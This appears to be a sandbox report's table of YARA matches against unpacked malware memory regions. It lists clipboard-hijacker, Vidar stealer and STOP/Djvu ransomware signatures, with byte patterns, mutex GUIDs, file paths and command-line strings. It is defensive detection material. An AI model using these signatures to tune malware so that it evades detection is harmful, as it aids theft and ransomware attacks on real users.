20.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
30.2.mstsca.exe.8f15a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
30.2.mstsca.exe.8f15a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
19.2.mstsca.exe.9215a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
19.2.mstsca.exe.9215a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
25.2.mstsca.exe.8e15a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
25.2.mstsca.exe.8e15a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
25.2.mstsca.exe.8e15a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
26.2.mstsca.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
26.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
26.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
25.2.mstsca.exe.8e15a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
25.2.mstsca.exe.8e15a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
16.2.build3.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
16.2.build3.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
16.2.build3.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
8.2.build2.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
28.2.mstsca.exe.a715a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
28.2.mstsca.exe.a715a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
28.2.mstsca.exe.a715a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
13.2.build3.exe.8915a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
13.2.build3.exe.8915a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
13.2.build3.exe.8915a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
16.2.build3.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
16.2.build3.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
16.2.build3.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
5.2.lzShU2RYJa.exe.5f215a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.lzShU2RYJa.exe.5f215a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.lzShU2RYJa.exe.5f215a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
29.2.mstsca.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
29.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
29.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
20.2.mstsca.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
20.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
20.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
13.2.build3.exe.8915a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
13.2.build3.exe.8915a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
28.2.mstsca.exe.a715a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
28.2.mstsca.exe.a715a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
30.2.mstsca.exe.8f15a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
30.2.mstsca.exe.8f15a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
30.2.mstsca.exe.8f15a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
1.2.lzShU2RYJa.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.2.lzShU2RYJa.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
1.2.lzShU2RYJa.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
29.2.mstsca.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
29.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
29.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
5.2.lzShU2RYJa.exe.5f215a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.lzShU2RYJa.exe.5f215a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.lzShU2RYJa.exe.5f215a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
23.2.lzShU2RYJa.exe.5e615a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
23.2.lzShU2RYJa.exe.5e615a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
